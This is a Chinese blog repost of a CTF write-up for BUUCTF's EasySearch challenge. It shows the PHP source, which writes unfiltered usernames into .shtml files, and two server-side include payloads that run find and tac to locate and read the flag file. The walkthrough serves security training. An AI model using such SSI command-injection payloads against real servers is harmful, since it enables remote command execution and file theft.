当前位置: 首页 > news >正文

150,[5] BUUCTF WEB [BJDCTF2020]EasySearch

进入靶场

有个文件

 和之前一道题如出一辙

<?php
    // 开启输出缓冲,将后续所有的输出内容先暂存到缓冲区,而不是直接发送到浏览器
    ob_start();

    /**
     * 生成一个基于随机字符串和唯一标识符的哈希值
     * @return string 返回生成的 sha1 哈希值
     */
    function get_hash(){
        // 定义一个包含大写字母、小写字母、数字和一些特殊字符的字符集
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        // 从字符集中随机选取 5 个字符并拼接成一个随机字符串
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)]; // Random 5 times
        // 生成一个基于当前时间戳的唯一标识符,并与随机字符串拼接
        $content = uniqid().$random;
        // 对拼接后的字符串进行 sha1 哈希处理,并返回哈希值
        return sha1($content); 
    }

    // 设置响应的 HTTP 头,指定内容类型为 HTML,字符编码为 UTF-8
    header("Content-Type: text/html;charset=utf-8");

    // 检查是否通过 POST 方法提交了 'username' 字段,并且该字段不为空
    if(isset($_POST['username']) && $_POST['username'] != '' )
    {
        // 定义一个管理员密码的 md5 哈希值的前 6 位作为验证依据
        $admin = '6d0bc1';
        // 计算用户提交的密码的 md5 哈希值,并截取前 6 位,与预设的验证值进行比较
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            // 如果验证通过,弹出一个 JavaScript 警告框,提示欢迎进入管理系统
            echo "<script>alert('[+] Welcome to manage system')</script>";
            // 生成一个随机的文件名,文件扩展名为 .shtml,存放在 public 目录下
            $file_shtml = "public/".get_hash().".shtml";
            // 以写入模式打开文件,如果无法打开则终止程序并输出错误信息
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            // 定义要写入文件的 HTML 内容,包含欢迎信息和用户提交的用户名
            $text = '
            <!-- 这里可以补充完整的 HTML 结构和样式 -->
            <!-- 这里可以补充完整的 HTML 结构和样式 -->
            <h1>Hello,'.$_POST['username'].'</h1>
            <!-- 这里可以补充完整的 HTML 结构和样式 -->
            <!-- 这里可以补充完整的 HTML 结构和样式 -->';
            // 将定义好的文本内容写入文件
            fwrite($shtml,$text);
            // 关闭文件句柄,释放资源
            fclose($shtml);
            // 这里输出提示信息,表明可能存在 HTTP 头错误,但不清楚具体逻辑
            echo "[!] Header  error ...";
        } else {
            // 如果验证不通过,弹出一个 JavaScript 警告框,提示登录失败
            echo "<script>alert('[!] Failed')</script>";
        }
    } else {
        // 如果没有提交 'username' 字段或该字段为空,可以在这里添加相应的处理逻辑
        // 例如提示用户输入用户名
    }
    // 可以在这里添加一些收尾的代码,例如刷新输出缓冲区等
?>

没得到什么信息

抓包

<!--#exec cmd="find / -name flag*"--> 

 

<!--#exec cmd="tac /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"--> 

 

相关文章:

  • 【update 更新数据语法合集】.NET开源ORM框架 SqlSugar 系列
  • Mac Golang 开发环境配置
  • Python 模块加载机制导致的问题
  • 146,[1] BUUCTF WEB [SWPU2019]Web1
  • Python的imutils库详细介绍
  • Linux(socket网络编程)UDP---初学
  • nacos学习笔记
  • DeepSeek-R1:通过强化学习激励大型语言模型的推理能力
  • 【LeetCode】3.无重复字符的最长字串
  • Qt中基于开源库QRencode生成二维码(附工程源码链接)
  • Mac 开发工具推荐
  • 《云原生安全攻防》-- K8s镜像安全:镜像全生命周期安全管理
  • 深入解析类方法与静态方法 —— 内存分析与直观图示详解
  • 项目访问出现504 Gateway Time-out nginx/1.21.6的情况
  • 注册表单提交加验证码功能
  • 服务器租用:虚拟化技术都包含哪些内容?
  • 2025年2月9日(数据分析_2)
  • Spring AI发布!让Java紧跟AI赛道!
  • ailx10的发明专利思路
  • HDFS体系结构
  • 新片|《碟中谍8:最终清算》定档5月30日
  • 新华时评:让医德医风建设为健康中国护航
  • 经济日报评外卖平台被约谈:行业竞争不能背离服务本质
  • 外交部:各方应为俄乌双方恢复直接对话创造条件
  • 阿尔巴尼亚执政党连续第四次赢得议会选举,反对党此前雇用特朗普竞选经理
  • 国务院关税税则委员会公布公告调整对原产于美国的进口商品加征关税措施